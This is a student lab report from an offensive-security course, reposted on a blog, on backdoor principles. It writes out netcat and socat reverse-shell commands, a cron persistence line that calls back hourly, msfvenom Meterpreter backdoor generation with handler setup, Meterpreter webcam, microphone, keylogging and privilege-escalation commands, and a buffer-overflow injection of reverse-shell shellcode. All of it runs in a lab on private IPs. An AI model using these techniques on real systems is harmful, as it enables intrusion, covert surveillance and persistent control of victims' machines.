• 2019-2020-2 20175322周弋鸿《网络对抗技术》Exp2 后门原理与实践



    1.后门概念

    • 后门就是不经过正常认证流程而访问系统的通道。

    2. 常用后门工具

    2.1 NC 或 netcat

    2.1.1 Win获得Linux Shell

    • 在Windows下使用ipconfig查看本机IP

    • 使用ncat.exe程序ncat.exe -l -p 5322打开监听,并检查windows和linux的连通性

    • 在kali中反弹连接Windows,ncat 192.168.132.1 5322 -e /bin/sh,使用-e选项执行shell程序

    • windows下获得一个linux shell,可运行任何指令,如ls

    2.1.2 Linux获得Win Shell

    • 在kali中先安装net-tools,然后才能使用使用ifconfig命令查看IP

    • 打开监听nc -l -p 5322

    • 在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.132.138 5322

    • kali成功获得Windows的命令提示

    *2.1.3 Mac获取Win shell

    *2.1.4 Win获取Mac Shell

    *2.1.5 Mac获取Linux Shell

    *2.1.6 Linux获取Mac Shell

    2.1.7 Netcat扩展知识

    使用nc传输数据

    • Windows下监听5322端口,ncat.exe -l 5322
    • kali反弹连接到Windows的5322端口,nc 192.168.132.1 5322
    • 连接建立成功,双方可以相互传输数据

    使用nc传输文件(将文件从kali传给Windows)

    • Windows下监听5322端口,并把收到的数据保存到file1.out中,ncat.exe -l 5322 > file1.out
    • kali 反弹连接到Windows的5322端口,nc 192.168.132.1 5322 < file1.in
    • 连接建立成功,Windows可以收到kali发来的文件

    2.2 Meterpreter

    • 后门就是一个程序。
    • 传统的理解是:有人编写一个后门程序,大家拿来用。
    • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
      • 基本功能(基本的连接、执行指令),
      • 扩展功能(如搜集用户信息、安装服务等功能),
      • 编码模式,
      • 运行平台,
      • 以及运行参数
    • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
    • 典型的平台就包括有:
    • 参数说明
      • -p 使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
      • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
      • -e 使用的编码器,用于对shellcode变形,为了免杀。
      • -i 编码器的迭代次数。如上即使用该编码器编码5次。
      • -b badchar是payload中需要去除的字符。
      • LHOST 是反弹回连的IP
      • LPORT 是回连的端口
      • -f 生成文件的类型
      • > 输出到哪个文件

    3.后门启动

    3.1使用netcat获取主机操作Shell,cron启动

    • crontab -e指令增加一条定时任务,-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3

    • 最后一行添加58 * * * * /bin/netcat 192.168.132.1 5322 -e /bin/sh,意思是在每个小时的第58分钟反向连接Windows主机的5322端口

    • linux在58分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell

    3.2使用socat获取主机操作Shell, 任务计划启动

    • 右击我的电脑,点击管理

    • 点击任务计划程序,再点击创建任务

    • 填写任务名,新建一个触发器

    • 新建操作,并在程序或脚本中选择socat.exe路径,添加参数一栏填写tcp-listen:5322 exec:cmd.exe,pty,stderr

    • 创建好后显示任务准备就绪

    • 到达21:25后,再次打开时,可以发现创建的任务正在运行

    • 自行弹出一个cmd窗口

    • 在kali中输入输入指令socat - tcp:192.168.132.1:5322,完成连接,获得windows shell

    3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.138 LPORT=5322 -f exe > backdoor5322.exe生成后门程序

    • windows使用ncat.exe -lv 5322 > backdoor5322.exe,查看连接状态

    • linux使用nc 192.168.132.1 5322 < backdoor5322.exe传输后门程序,传输成功后windows会给出提示

    • 传送接收文件成功

    • linux使用msfconsole进入msf控制台,并键入以下命令:

    使用监听模块,设置payload:use exploit/multi/handler
    使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
    linux的IP地址:set LHOST 192.168.132.138
    使用相同的端口:set LPORT 5322
    查看设置:show options
    
    • 进入msf控制台后的界面:

    • 输入指令后的界面:

    • linux使用exploit开始监听,并在windows中运行后门程序,linux成功获得windows的shell

    3.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 使用record_mic指令可以截获一段音频

    • 使用webcam_snap指令可以使用摄像头进行拍照

    • 使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录

    • 使用screenshot指令可以进行截屏

    • 使用getuid指令查看当前用户,使用getsystem指令进行提权操作

    3.5可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    • Exploit DataBase中搜索linux/x86 - Reverse下载反弹连接的shellcode并提取其中的机器码:
    x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
    
    • linux使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

    • 使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中:

    perl -e 'print "A"x 32;print"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    

    • 打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf,再开另外一个终端使用ps -ef | grep pwn1找到pwn1的进程号,之后启动gdb使用attach调试,使用disassemble foo查看ret的地址,设置断点,然后在另外一个终端中按下回车,再在gdb输入c继续运行

    • 使用info r esp查看栈顶指针所在的位置,并查看改地址存放的数据

    存放的地址为0xffffd38c,计算出shellcode地址就是0xffffd38c+4,即0xffffd390

    • 在一个终端中打开msf控制台开始监听

    • 在另一个终端修改input_shellcode并使用cat input_shellcode;cat) | ./pwn1运行pwn1文件

    • 另一个终端得到shell开始运行

    4.收获感想

    • 本次实验较为简单,但是比较好费时间。其中加分项可以借鉴之前实验一的操作流程,整个实验中没有太大的难点。通过本次实验,我了解了后门的基本原理,自己动手操作体验,感受到了后门的危害性,希望在日后的学习过程中能够学到更多知识。

    5.问题回答

    • (1)例举你能想到的一个后门进入到你系统中的可能方式?
      • 在非官方网站上下载应用程序,这些程序有可能会绑定某些可执行文件,从而留下后门。点击钓鱼网站的链接之后,可能会有可执行文件下载到电脑中,留下后门。
    • (2)例举你知道的后门如何启动起来(win及linux)的方式?
      • Linux:Crontab定时启动;注入shellcode。
      • Windows:新建任务计划;修改注册表项,设置后门程序自启动;用户执行带后门的执行文件。
    • (3)Meterpreter有哪些给你映像深刻的功能?
      • 通过后门控制被控主机的shell,可以获取目标主机的音频、摄像头、击键记录等功能。
    • (4)如何发现自己有系统有没有被安装后门?
      • 使用安全软件,对系统进行定时检测,查杀恶意文件。
      • 使用任务管理器等系统软件查看后台是否有异常程序。
  • 相关阅读:
    Golang关键字—— var
    Ubuntu下搭建Golang开发环境
    CentOS安装MongoDB
    使用2-3法则设计分布式数据访问层
    8 种提升 ASP.NET Web API 性能的方法
    MongoDB 聚合之 MapReduce
    常用开源项目及工具汇总——持续更新
    了解一下jsp
    前苹果副总裁:如果你做的事情毫不费力,就是在浪费时间
    思考
  • 原文地址:https://www.cnblogs.com/zyh5322/p/12516752.html
Copyright © 2020-2023  润新知